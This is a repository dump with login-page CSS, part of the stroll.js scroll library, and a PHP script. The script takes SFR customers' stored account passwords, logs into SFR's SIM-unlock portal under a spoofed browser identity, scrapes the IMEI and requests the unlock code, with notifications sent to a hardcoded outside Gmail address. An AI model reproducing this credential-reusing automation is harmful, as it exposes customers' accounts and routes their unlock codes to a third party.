color: white; 11 | font-weight: 300; 12 | } 13 | body ::-webkit-input-placeholder { 14 | /* WebKit browsers */ 15 | font-family: 'Source Sans Pro', sans-serif; 16 | color: white; 17 | font-weight: 300; 18 | } 19 | body :-moz-placeholder { 20 | /* Mozilla Firefox 4 to 18 */ 21 | font-family: 'Source Sans Pro', sans-serif; 22 | color: white; 23 | opacity: 1; 24 | font-weight: 300; 25 | } 26 | body ::-moz-placeholder { 27 | /* Mozilla Firefox 19+ */ 28 | font-family: 'Source Sans Pro', sans-serif; 29 | color: white; 30 | opacity: 1; 31 | font-weight: 300; 32 | } 33 | body :-ms-input-placeholder { 34 | /* Internet Explorer 10+ */ 35 | font-family: 'Source Sans Pro', sans-serif; 36 | color: white; 37 | font-weight: 300; 38 | } 39 | .wrapper { 40 | background: #50a3a2; 41 | background: -webkit-linear-gradient(top left, #50a3a2 0%, #53e3a6 100%); 42 | background: linear-gradient(to bottom right, #50a3a2 0%, #53e3a6 100%); 43 | position: absolute; 44 | top: 50%; 45 | left: 0; 46 | width: 100%; 47 | height: 400px; 48 | margin-top: -200px; 49 | overflow: hidden; 50 | } 51 | .wrapper.form-success .container h1 { 52 | -webkit-transform: translateY(85px); 53 | -ms-transform: translateY(85px); 54 | transform: translateY(85px); 55 | } 56 | .container { 57 | max-width: 600px; 58 | margin: 0 auto; 59 | padding: 80px 0; 60 | height: 400px; 61 | text-align: center; 62 | } 63 | .container h1 { 64 | font-size: 40px; 65 | -webkit-transition-duration: 1s; 66 | transition-duration: 1s; 67 | -webkit-transition-timing-function: ease-in-put; 68 | transition-timing-function: ease-in-put; 69 | font-weight: 200; 70 | } 71 | form { 72 | padding: 20px 0; 73 | position: relative; 74 | z-index: 2; 75 | } 76 | form input { 77 | -webkit-appearance: none; 78 | -moz-appearance: none; 79 | appearance: none; 80 | outline: 0; 81 | border: 1px solid rgba(255, 255, 255, 0.4); 82 | background-color: rgba(255, 255, 255, 0.2); 83 | width: 250px; 84 | border-radius: 3px; 85 | padding: 10px 15px; 86 | margin: 0 auto 10px auto; 87 | display: block; 88 | text-align: center; 89 | font-size: 18px; 90 | color: white; 91 | -webkit-transition-duration: 0.25s; 92 | transition-duration: 0.25s; 93 | font-weight: 300; 94 | } 95 | form input:hover { 96 | background-color: rgba(255, 255, 255, 0.4); 97 | } 98 | form input:focus { 99 | background-color: white; 100 | width: 300px; 101 | color: #53e3a6; 102 | } 103 | form button { 104 | -webkit-appearance: none; 105 | -moz-appearance: none; 106 | appearance: none; 107 | outline: 0; 108 | background-color: white; 109 | border: 0; 110 | padding: 10px 15px; 111 | color: #53e3a6; 112 | border-radius: 3px; 113 | width: 250px; 114 | cursor: pointer; 115 | font-size: 18px; 116 | -webkit-transition-duration: 0.25s; 117 | transition-duration: 0.25s; 118 | } 119 | form button:hover { 120 | background-color: #f5f7f9; 121 | } 122 | .bg-bubbles { 123 | position: absolute; 124 | top: 0; 125 | left: 0; 126 | width: 100%; 127 | height: 100%; 128 | z-index: 1; 129 | } 130 | .bg-bubbles li { 131 | position: absolute; 132 | list-style: none; 133 | display: block; 134 | width: 40px; 135 | height: 40px; 136 | background-color: rgba(255, 255, 255, 0.15); 137 | bottom: -160px; 138 | -webkit-animation: square 25s infinite; 139 | animation: square 25s infinite; 140 | -webkit-transition-timing-function: linear; 141 | transition-timing-function: linear; 142 | } 143 | .bg-bubbles li:nth-child(1) { 144 | left: 10%; 145 | } 146 | .bg-bubbles li:nth-child(2) { 147 | left: 20%; 148 | width: 80px; 149 | height: 80px; 150 | -webkit-animation-delay: 2s; 151 | animation-delay: 2s; 152 | -webkit-animation-duration: 17s; 153 | animation-duration: 17s; 154 | } 155 | .bg-bubbles li:nth-child(3) { 156 | left: 25%; 157 | -webkit-animation-delay: 4s; 158 | animation-delay: 4s; 159 | } 160 | .bg-bubbles li:nth-child(4) { 161 | left: 40%; 162 | width: 60px; 163 | height: 60px; 164 | -webkit-animation-duration: 22s; 165 | animation-duration: 22s; 166 | background-color: rgba(255, 255, 255, 0.25); 167 | } 168 | .bg-bubbles li:nth-child(5) { 169 | left: 70%; 170 | } 171 | .bg-bubbles li:nth-child(6) { 172 | left: 80%; 173 | width: 120px; 174 | height: 120px; 175 | -webkit-animation-delay: 3s; 176 | animation-delay: 3s; 177 | background-color: rgba(255, 255, 255, 0.2); 178 | } 179 | .bg-bubbles li:nth-child(7) { 180 | left: 32%; 181 | width: 160px; 182 | height: 160px; 183 | -webkit-animation-delay: 7s; 184 | animation-delay: 7s; 185 | } 186 | .bg-bubbles li:nth-child(8) { 187 | left: 55%; 188 | width: 20px; 189 | height: 20px; 190 | -webkit-animation-delay: 15s; 191 | animation-delay: 15s; 192 | -webkit-animation-duration: 40s; 193 | animation-duration: 40s; 194 | } 195 | .bg-bubbles li:nth-child(9) { 196 | left: 25%; 197 | width: 10px; 198 | height: 10px; 199 | -webkit-animation-delay: 2s; 200 | animation-delay: 2s; 201 | -webkit-animation-duration: 40s; 202 | animation-duration: 40s; 203 | background-color: rgba(255, 255, 255, 0.3); 204 | } 205 | .bg-bubbles li:nth-child(10) { 206 | left: 90%; 207 | width: 160px; 208 | height: 160px; 209 | -webkit-animation-delay: 11s; 210 | animation-delay: 11s; 211 | } 212 | @-webkit-keyframes square { 213 | 0% { 214 | -webkit-transform: translateY(0); 215 | transform: translateY(0); 216 | } 217 | 100% { 218 | -webkit-transform: translateY(-700px) rotate(600deg); 219 | transform: translateY(-700px) rotate(600deg); 220 | } 221 | } 222 | @keyframes square { 223 | 0% { 224 | -webkit-transform: translateY(0); 225 | transform: translateY(0); 226 | } 227 | 100% { 228 | -webkit-transform: translateY(-700px) rotate(600deg); 229 | transform: translateY(-700px) rotate(600deg); 230 | } 231 | } 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | a { 241 | text-decoration: none; 242 | color: black; 243 | } 244 | a:visited { 245 | color: black; 246 | } 247 | a:hover, a:focus, a:active { 248 | text-decoration: none; 249 | color: black; 250 | } 251 | 252 | 253 | 254 | 255 | /* 256 | Demo CSS code 257 | */ 258 | 259 | [type="checkbox"]:not(:checked), 260 | [type="checkbox"]:checked { 261 | position: absolute; 262 | left: -9999px; 263 | } 264 | [type="checkbox"]:not(:checked) + label, 265 | [type="checkbox"]:checked + label { 266 | position: relative; 267 | padding-left: 75px; 268 | cursor: pointer; 269 | } 270 | [type="checkbox"]:not(:checked) + label:before, 271 | [type="checkbox"]:checked + label:before, 272 | [type="checkbox"]:not(:checked) + label:after, 273 | [type="checkbox"]:checked + label:after { 274 | content: ''; 275 | position: absolute; 276 | } 277 | [type="checkbox"]:not(:checked) + label:before, 278 | [type="checkbox"]:checked + label:before { 279 | left:0; top: -3px; 280 | width: 65px; height: 30px; 281 | background: #DDDDDD; 282 | border-radius: 15px; 283 | -webkit-transition: background-color .2s; 284 | -moz-transition: background-color .2s; 285 | -ms-transition: background-color .2s; 286 | transition: background-color .2s; 287 | } 288 | [type="checkbox"]:not(:checked) + label:after, 289 | [type="checkbox"]:checked + label:after { 290 | width: 20px; height: 20px; 291 | -webkit-transition: all .2s; 292 | -moz-transition: all .2s; 293 | -ms-transition: all .2s; 294 | transition: all .2s; 295 | border-radius: 50%; 296 | background: #7F8C9A; 297 | top: 2px; left: 5px; 298 | } 299 | 300 | /* on checked */ 301 | [type="checkbox"]:checked + label:before { 302 | background:#34495E; 303 | } 304 | [type="checkbox"]:checked + label:after { 305 | background: #39D2B4; 306 | top: 2px; left: 40px; 307 | } 308 | 309 | [type="checkbox"]:checked + label .ui, 310 | [type="checkbox"]:not(:checked) + label .ui:before, 311 | [type="checkbox"]:checked + label .ui:after { 312 | position: absolute; 313 | left: 6px; 314 | width: 65px; 315 | border-radius: 15px; 316 | font-size: 14px; 317 | font-weight: bold; 318 | line-height: 22px; 319 | -webkit-transition: all .2s; 320 | -moz-transition: all .2s; 321 | -ms-transition: all .2s; 322 | transition: all .2s; 323 | } 324 | [type="checkbox"]:not(:checked) + label .ui:before { 325 | content: "no"; 326 | left: 32px 327 | } 328 | [type="checkbox"]:checked + label .ui:after { 329 | content: "yes"; 330 | color: #39D2B4; 331 | } 332 | [type="checkbox"]:focus + label:before { 333 | border: 1px dashed #777; 334 | -webkit-box-sizing: border-box; 335 | -moz-box-sizing: border-box; 336 | -ms-box-sizing: border-box; 337 | box-sizing: border-box; 338 | margin-top: -1px; 339 | } 340 | 341 | p, p a { 342 | color: white; 343 | text-decoration: none; 344 | } 345 | p a:hover, 346 | p a:focus { 347 | text-decoration: underline; 348 | } 349 | p+p { color: #bbb; margin-top: 3em;} 350 | form p { margin: 15px 0; } 351 | .detail {position: absolute; text-align: right; right: 5px; bottom: 5px; width: 50%;} 352 | a[href*="intent"] { 353 | display:inline-block; 354 | margin-top: 0.4em; 355 | padding-left: 25px; 356 | background: url(bird.png) 0 4px no-repeat; 357 | } 358 | .radio { 359 | width: 80px; 360 | margin: 0 auto 0px; 361 | text-align: left; 362 | } 363 | 364 | -------------------------------------------------------------------------------- /login/get_code.php: -------------------------------------------------------------------------------- 1 | $url) { //add the handles for each url 14 | // $ch = curl_setup($url,$socks5_proxy,$usernamepass); 15 | $ch = curl_init(); // init curl, and then setup your options 16 | curl_setopt($ch, CURLOPT_URL, $url); 17 | curl_setopt($ch, CURLOPT_USERPWD,$_SESSION['user'].":".$_SESSION['pass']); 18 | curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important 19 | curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output 20 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return page 1:yes 21 | curl_setopt($ch, CURLOPT_TIMEOUT, 200); // http request timeout 20 seconds 22 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, need this if the url changes 23 | curl_setopt($ch, CURLOPT_MAXREDIRS, 3); //if http server gives redirection responce 24 | curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"); 25 | curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies/unlock.txt"); // cookies storage / here the changes have been made 26 | curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies/unlock.txt"); 27 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // false for https 28 | curl_setopt($ch, CURLOPT_ENCODING, "gzip"); 29 | $aCurlHandles[$url] = $ch; 30 | curl_multi_add_handle($mh,$ch); 31 | } 32 | 33 | $active = null; 34 | //execute the handles 35 | do 36 | { 37 | $mrc = curl_multi_exec($mh, $active); 38 | } 39 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 40 | 41 | while ($active && $mrc == CURLM_OK) 42 | { 43 | if (curl_multi_select($mh) != -1) 44 | { 45 | do 46 | { 47 | $mrc = curl_multi_exec($mh, $active); 48 | } 49 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 50 | } 51 | } 52 | 53 | foreach ($aCurlHandles as $url=>$ch) 54 | { 55 | $html = curl_multi_getcontent($ch); // get the content 56 | 57 | 58 | if($html) 59 | { 60 | // $x++; 61 | $htmll = str_get_html($html); 62 | $res=$htmll->find('b',1)->innertext; 63 | $ress=$htmll->find('b',4)->innertext; 64 | $code2=trim(substr($res,32)); 65 | $code3=trim(substr($res,32)); 66 | // echo 'code1==>'.$code2.'
'; 67 | // echo 'code2==>'.$code3; 68 | // if($code2 =='') 69 | // { 70 | // $code2=$code1; 71 | // } 72 | // if($code3 =='') 73 | // { 74 | // $code3=$code1; 75 | // } 76 | if(($code1 != $code2 )&&($code2 !='')) 77 | { 78 | $code=$code2; 79 | } 80 | else if(($code1 != $code3)&&($code3 !='')) 81 | { 82 | $code=$code3; 83 | } 84 | else 85 | { 86 | $code=$code1; 87 | } 88 | // echo $htmll; 89 | usleep(5); 90 | 91 | } 92 | 93 | curl_multi_remove_handle($mh, $ch); // remove the handle (assuming you are done with it); 94 | } 95 | 96 | curl_multi_close($mh); // close the curl multi handler 97 | return $code; 98 | } 99 | 100 | //********************************************************** 101 | // verif service disponible 102 | function get_html_check($url,$url1) 103 | { 104 | $aURLs = array($url,$url1); // array of URLs 105 | $mh = curl_multi_init(); // init the curl Multi 106 | 107 | $aCurlHandles = array(); // create an array for the individual curl handles 108 | 109 | foreach ($aURLs as $id=>$url) { //add the handles for each url 110 | // $ch = curl_setup($url,$socks5_proxy,$usernamepass); 111 | $ch = curl_init(); // init curl, and then setup your options 112 | curl_setopt($ch, CURLOPT_URL, $url); 113 | curl_setopt($ch, CURLOPT_USERPWD,$_SESSION['user'].":".$_SESSION['pass']); 114 | curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important 115 | curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output 116 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return page 1:yes 117 | curl_setopt($ch, CURLOPT_TIMEOUT, 200); // http request timeout 20 seconds 118 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, need this if the url changes 119 | curl_setopt($ch, CURLOPT_MAXREDIRS, 3); //if http server gives redirection responce 120 | curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"); 121 | curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies/verif_service.txt"); // cookies storage / here the changes have been made 122 | curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies/verif_service.txt"); 123 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // false for https 124 | curl_setopt($ch, CURLOPT_ENCODING, "gzip"); 125 | $aCurlHandles[$url] = $ch; 126 | curl_multi_add_handle($mh,$ch); 127 | } 128 | 129 | $active = null; 130 | //execute the handles 131 | do 132 | { 133 | $mrc = curl_multi_exec($mh, $active); 134 | } 135 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 136 | 137 | while ($active && $mrc == CURLM_OK) 138 | { 139 | if (curl_multi_select($mh) != -1) 140 | { 141 | do 142 | { 143 | $mrc = curl_multi_exec($mh, $active); 144 | } 145 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 146 | } 147 | } 148 | 149 | foreach ($aCurlHandles as $url=>$ch) 150 | { 151 | $html = curl_multi_getcontent($ch); // get the content 152 | 153 | 154 | if($html) 155 | { 156 | $htmll = str_get_html($html); 157 | 158 | } 159 | 160 | curl_multi_remove_handle($mh, $ch); // remove the handle (assuming you are done with it); 161 | } 162 | 163 | curl_multi_close($mh); // close the curl multi handler 164 | return $htmll; 165 | } 166 | //********************************************************** 167 | // verif service disponible 168 | //********************************************************** 169 | function get_html($url,$url1) 170 | { 171 | $aURLs = array($url,$url1); // array of URLs 172 | $mh = curl_multi_init(); // init the curl Multi 173 | 174 | $aCurlHandles = array(); // create an array for the individual curl handles 175 | 176 | foreach ($aURLs as $id=>$url) { //add the handles for each url 177 | // $ch = curl_setup($url,$socks5_proxy,$usernamepass); 178 | $ch = curl_init(); // init curl, and then setup your options 179 | curl_setopt($ch, CURLOPT_URL, $url); 180 | curl_setopt($ch, CURLOPT_USERPWD,$_SESSION['user'].":".$_SESSION['pass']); 181 | curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important 182 | curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output 183 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return page 1:yes 184 | curl_setopt($ch, CURLOPT_TIMEOUT, 200); // http request timeout 20 seconds 185 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, need this if the url changes 186 | curl_setopt($ch, CURLOPT_MAXREDIRS, 3); //if http server gives redirection responce 187 | curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"); 188 | curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies/verif_service_unlock.txt"); // cookies storage / here the changes have been made 189 | curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies/verif_service_unlock.txt"); 190 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // false for https 191 | curl_setopt($ch, CURLOPT_ENCODING, "gzip"); 192 | $aCurlHandles[$url] = $ch; 193 | curl_multi_add_handle($mh,$ch); 194 | } 195 | 196 | $active = null; 197 | //execute the handles 198 | do 199 | { 200 | $mrc = curl_multi_exec($mh, $active); 201 | } 202 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 203 | 204 | while ($active && $mrc == CURLM_OK) 205 | { 206 | if (curl_multi_select($mh) != -1) 207 | { 208 | do 209 | { 210 | $mrc = curl_multi_exec($mh, $active); 211 | } 212 | while ($mrc == CURLM_CALL_MULTI_PERFORM); 213 | } 214 | } 215 | 216 | foreach ($aCurlHandles as $url=>$ch) 217 | { 218 | $html = curl_multi_getcontent($ch); // get the content 219 | 220 | 221 | if($html) 222 | { 223 | $htmll = str_get_html($html); 224 | 225 | } 226 | 227 | curl_multi_remove_handle($mh, $ch); // remove the handle (assuming you are done with it); 228 | } 229 | 230 | curl_multi_close($mh); // close the curl multi handler 231 | return $htmll; 232 | } 233 | //*************************************************** 234 | //get imei contract 235 | //*************************************************** 236 | function get_imei() 237 | { 238 | 239 | $url="http://espace-client.sfr.fr/desimlockage/accueilDesimlockageClient.do#sfrclicid=EC_mire_Me-Connecter"; 240 | 241 | 242 | 243 | $ch = curl_init(); // init curl, and then setup your options 244 | curl_setopt($ch, CURLOPT_URL, $url); 245 | curl_setopt($ch, CURLOPT_USERPWD,$_SESSION['user'].":".$_SESSION['pass']); 246 | curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important 247 | curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output 248 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return page 1:yes 249 | curl_setopt($ch, CURLOPT_TIMEOUT, 200); // http request timeout 20 seconds 250 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, need this if the url changes 251 | curl_setopt($ch, CURLOPT_MAXREDIRS, 3); //if http server gives redirection responce 252 | curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"); 253 | curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies/get_imei_unlock.txt"); // cookies storage / here the changes have been made 254 | curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies/get_imei_unlock.txt"); 255 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // false for https 256 | curl_setopt($ch, CURLOPT_ENCODING, "gzip"); 257 | $data = curl_exec($ch); // execute the http request 258 | 259 | 260 | if($data) 261 | { 262 | $htmll = str_get_html($data); 263 | $res =$htmll->find('input.input-base',0)->value; 264 | $imei=trim($res); 265 | 266 | } 267 | 268 | 269 | return $imei; 270 | } 271 | 272 | function get_nck($imei,$user,$pass) 273 | { 274 | 275 | $url= 'http://espace-client.sfr.fr/desimlockage/desimlocker.do?desimlockageContext.numIMEI='.$imei.'&desimlockageContext.emailDeNotif=sfrteeam@gmail.com&desimlockageContext.emailDeNotifConfirm=sfrteeam@gmail.com#desimlock-page'; 276 | 277 | 278 | 279 | $ch = curl_init(); // init curl, and then setup your options 280 | curl_setopt($ch, CURLOPT_URL, $url); 281 | curl_setopt($ch, CURLOPT_USERPWD,$user.":".$pass); 282 | curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important 283 | curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output 284 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return page 1:yes 285 | curl_setopt($ch, CURLOPT_TIMEOUT, 200); // http request timeout 20 seconds 286 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects, need this if the url changes 287 | curl_setopt($ch, CURLOPT_MAXREDIRS, 3); //if http server gives redirection responce 288 | curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"); 289 | curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies/get_nck.txt"); // cookies storage / here the changes have been made 290 | curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies/get_nck.txt"); 291 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // false for https 292 | curl_setopt($ch, CURLOPT_ENCODING, "gzip"); 293 | $data = curl_exec($ch); // execute the http request 294 | 295 | 296 | if($data) 297 | { 298 | $htmll = str_get_html($data); 299 | $res=$htmll->find('b',1)->innertext; 300 | $ress=$htmll->find('b',4)->innertext; 301 | $nck=trim(substr($res,32)); 302 | 303 | } 304 | 305 | 306 | return $nck; 307 | } 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | ?> 318 | -------------------------------------------------------------------------------- /login/css/stroll.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * stroll.js 1.2 - CSS scroll effects 3 | * http://lab.hakim.se/scroll-effects 4 | * MIT licensed 5 | * 6 | * Copyright (C) 2012 Hakim El Hattab, http://hakim.se 7 | */ 8 | (function(){ 9 | 10 | "use strict"; 11 | 12 | // When a list is configured as 'live', this is how frequently 13 | // the DOM will be polled for changes 14 | var LIVE_INTERVAL = 500; 15 | 16 | var IS_TOUCH_DEVICE = !!( 'ontouchstart' in window ); 17 | 18 | // All of the lists that are currently bound 19 | var lists = []; 20 | 21 | // Set to true when there are lists to refresh 22 | var active = false; 23 | 24 | /** 25 | * Updates all currently bound lists. 26 | */ 27 | function refresh() { 28 | if( active ) { 29 | requestAnimFrame( refresh ); 30 | 31 | for( var i = 0, len = lists.length; i < len; i++ ) { 32 | lists[i].update(); 33 | } 34 | } 35 | } 36 | 37 | /** 38 | * Starts monitoring a list and applies classes to each of 39 | * its contained elements based on its position relative to 40 | * the list's viewport. 41 | * 42 | * @param {HTMLElement} element 43 | * @param {Object} options Additional arguments; 44 | * - live; Flags if the DOM should be repeatedly checked for changes 45 | * repeatedly. Useful if the list contents is changing. Use 46 | * scarcely as it has an impact on performance. 47 | */ 48 | function add( element, options ) { 49 | // Only allow ul/ol 50 | if( !element.nodeName || /^(ul|ol)$/i.test( element.nodeName ) === false ) { 51 | return false; 52 | } 53 | // Delete duplicates (but continue and re-bind this list to get the 54 | // latest properties and list items) 55 | else if( contains( element ) ) { 56 | remove( element ); 57 | } 58 | 59 | var list = IS_TOUCH_DEVICE ? new TouchList( element ) : new List( element ); 60 | 61 | // Handle options 62 | if( options && options.live ) { 63 | list.syncInterval = setInterval( function() { 64 | list.sync.call( list ); 65 | }, LIVE_INTERVAL ); 66 | } 67 | 68 | // Synchronize the list with the DOM 69 | list.sync(); 70 | 71 | // Add this element to the collection 72 | lists.push( list ); 73 | 74 | // Start refreshing if this was the first list to be added 75 | if( lists.length === 1 ) { 76 | active = true; 77 | refresh(); 78 | } 79 | } 80 | 81 | /** 82 | * Stops monitoring a list element and removes any classes 83 | * that were applied to its list items. 84 | * 85 | * @param {HTMLElement} element 86 | */ 87 | function remove( element ) { 88 | for( var i = 0; i < lists.length; i++ ) { 89 | var list = lists[i]; 90 | 91 | if( list.element == element ) { 92 | list.destroy(); 93 | lists.splice( i, 1 ); 94 | i--; 95 | } 96 | } 97 | 98 | // Stopped refreshing if the last list was removed 99 | if( lists.length === 0 ) { 100 | active = false; 101 | } 102 | } 103 | 104 | /** 105 | * Checks if the specified element has already been bound. 106 | */ 107 | function contains( element ) { 108 | for( var i = 0, len = lists.length; i < len; i++ ) { 109 | if( lists[i].element == element ) { 110 | return true; 111 | } 112 | } 113 | return false; 114 | } 115 | 116 | /** 117 | * Calls 'method' for each DOM element discovered in 118 | * 'target'. 119 | * 120 | * @param target String selector / array of UL elements / 121 | * jQuery object / single UL element 122 | * @param method A function to call for each element target 123 | */ 124 | function batch( target, method, options ) { 125 | var i, len; 126 | 127 | // Selector 128 | if( typeof target === 'string' ) { 129 | var targets = document.querySelectorAll( target ); 130 | 131 | for( i = 0, len = targets.length; i < len; i++ ) { 132 | method.call( null, targets[i], options ); 133 | } 134 | } 135 | // Array (jQuery) 136 | else if( typeof target === 'object' && typeof target.length === 'number' ) { 137 | for( i = 0, len = target.length; i < len; i++ ) { 138 | method.call( null, target[i], options ); 139 | } 140 | } 141 | // Single element 142 | else if( target.nodeName ) { 143 | method.call( null, target, options ); 144 | } 145 | else { 146 | throw 'Stroll target was of unexpected type.'; 147 | } 148 | } 149 | 150 | /** 151 | * Checks if the client is capable of running the library. 152 | */ 153 | function isCapable() { 154 | return !!document.body.classList; 155 | } 156 | 157 | /** 158 | * The basic type of list; applies past & future classes to 159 | * list items based on scroll state. 160 | */ 161 | function List( element ) { 162 | this.element = element; 163 | } 164 | 165 | /** 166 | * Fetches the latest properties from the DOM to ensure that 167 | * this list is in sync with its contents. 168 | */ 169 | List.prototype.sync = function() { 170 | this.items = Array.prototype.slice.apply( this.element.children ); 171 | 172 | // Caching some heights so we don't need to go back to the DOM so much 173 | this.listHeight = this.element.offsetHeight; 174 | 175 | // One loop to get the offsets from the DOM 176 | for( var i = 0, len = this.items.length; i < len; i++ ) { 177 | var item = this.items[i]; 178 | item._offsetHeight = item.offsetHeight; 179 | item._offsetTop = item.offsetTop; 180 | item._offsetBottom = item._offsetTop + item._offsetHeight; 181 | item._state = ''; 182 | } 183 | 184 | // Force an update 185 | this.update( true ); 186 | } 187 | 188 | /** 189 | * Apply past/future classes to list items outside of the viewport 190 | */ 191 | List.prototype.update = function( force ) { 192 | var scrollTop = this.element.pageYOffset || this.element.scrollTop, 193 | scrollBottom = scrollTop + this.listHeight; 194 | 195 | // Quit if nothing changed 196 | if( scrollTop !== this.lastTop || force ) { 197 | this.lastTop = scrollTop; 198 | 199 | // One loop to make our changes to the DOM 200 | for( var i = 0, len = this.items.length; i < len; i++ ) { 201 | var item = this.items[i]; 202 | 203 | // Above list viewport 204 | if( item._offsetBottom < scrollTop ) { 205 | // Exclusion via string matching improves performance 206 | if( item._state !== 'past' ) { 207 | item._state = 'past'; 208 | item.classList.add( 'past' ); 209 | item.classList.remove( 'future' ); 210 | } 211 | } 212 | // Below list viewport 213 | else if( item._offsetTop > scrollBottom ) { 214 | // Exclusion via string matching improves performance 215 | if( item._state !== 'future' ) { 216 | item._state = 'future'; 217 | item.classList.add( 'future' ); 218 | item.classList.remove( 'past' ); 219 | } 220 | } 221 | // Inside of list viewport 222 | else if( item._state ) { 223 | if( item._state === 'past' ) item.classList.remove( 'past' ); 224 | if( item._state === 'future' ) item.classList.remove( 'future' ); 225 | item._state = ''; 226 | } 227 | } 228 | } 229 | } 230 | 231 | /** 232 | * Cleans up after this list and disposes of it. 233 | */ 234 | List.prototype.destroy = function() { 235 | clearInterval( this.syncInterval ); 236 | 237 | for( var j = 0, len = this.items.length; j < len; j++ ) { 238 | var item = this.items[j]; 239 | 240 | item.classList.remove( 'past' ); 241 | item.classList.remove( 'future' ); 242 | } 243 | } 244 | 245 | 246 | /** 247 | * A list specifically for touch devices. Simulates the style 248 | * of scrolling you'd see on a touch device but does not rely 249 | * on webkit-overflow-scrolling since that makes it impossible 250 | * to read the up-to-date scroll position. 251 | */ 252 | function TouchList( element ) { 253 | this.element = element; 254 | this.element.style.overflow = 'hidden'; 255 | 256 | this.top = { 257 | value: 0, 258 | natural: 0 259 | }; 260 | 261 | this.touch = { 262 | value: 0, 263 | offset: 0, 264 | start: 0, 265 | previous: 0, 266 | lastMove: Date.now(), 267 | accellerateTimeout: -1, 268 | isAccellerating: false, 269 | isActive: false 270 | }; 271 | 272 | this.velocity = 0; 273 | } 274 | TouchList.prototype = new List(); 275 | 276 | /** 277 | * Fetches the latest properties from the DOM to ensure that 278 | * this list is in sync with its contents. This is typically 279 | * only used once (per list) at initialization. 280 | */ 281 | TouchList.prototype.sync = function() { 282 | this.items = Array.prototype.slice.apply( this.element.children ); 283 | 284 | this.listHeight = this.element.offsetHeight; 285 | 286 | var item; 287 | 288 | // One loop to get the properties we need from the DOM 289 | for( var i = 0, len = this.items.length; i < len; i++ ) { 290 | item = this.items[i]; 291 | item._offsetHeight = item.offsetHeight; 292 | item._offsetTop = item.offsetTop; 293 | item._offsetBottom = item._offsetTop + item._offsetHeight; 294 | item._state = ''; 295 | 296 | // Animating opacity is a MAJOR performance hit on mobile so we can't allow it 297 | item.style.opacity = 1; 298 | } 299 | 300 | this.top.natural = this.element.scrollTop; 301 | this.top.value = this.top.natural; 302 | this.top.max = item._offsetBottom - this.listHeight; 303 | 304 | // Force an update 305 | this.update( true ); 306 | 307 | this.bind(); 308 | } 309 | 310 | /** 311 | * Binds the events for this list. References to proxy methods 312 | * are kept for unbinding if the list is disposed of. 313 | */ 314 | TouchList.prototype.bind = function() { 315 | var scope = this; 316 | 317 | this.touchStartDelegate = function( event ) { 318 | scope.onTouchStart( event ); 319 | }; 320 | 321 | this.touchMoveDelegate = function( event ) { 322 | scope.onTouchMove( event ); 323 | }; 324 | 325 | this.touchEndDelegate = function( event ) { 326 | scope.onTouchEnd( event ); 327 | }; 328 | 329 | this.element.addEventListener( 'touchstart', this.touchStartDelegate, false ); 330 | this.element.addEventListener( 'touchmove', this.touchMoveDelegate, false ); 331 | this.element.addEventListener( 'touchend', this.touchEndDelegate, false ); 332 | } 333 | 334 | TouchList.prototype.onTouchStart = function( event ) { 335 | event.preventDefault(); 336 | 337 | if( event.touches.length === 1 ) { 338 | this.touch.isActive = true; 339 | this.touch.start = event.touches[0].clientY; 340 | this.touch.previous = this.touch.start; 341 | this.touch.value = this.touch.start; 342 | this.touch.offset = 0; 343 | 344 | 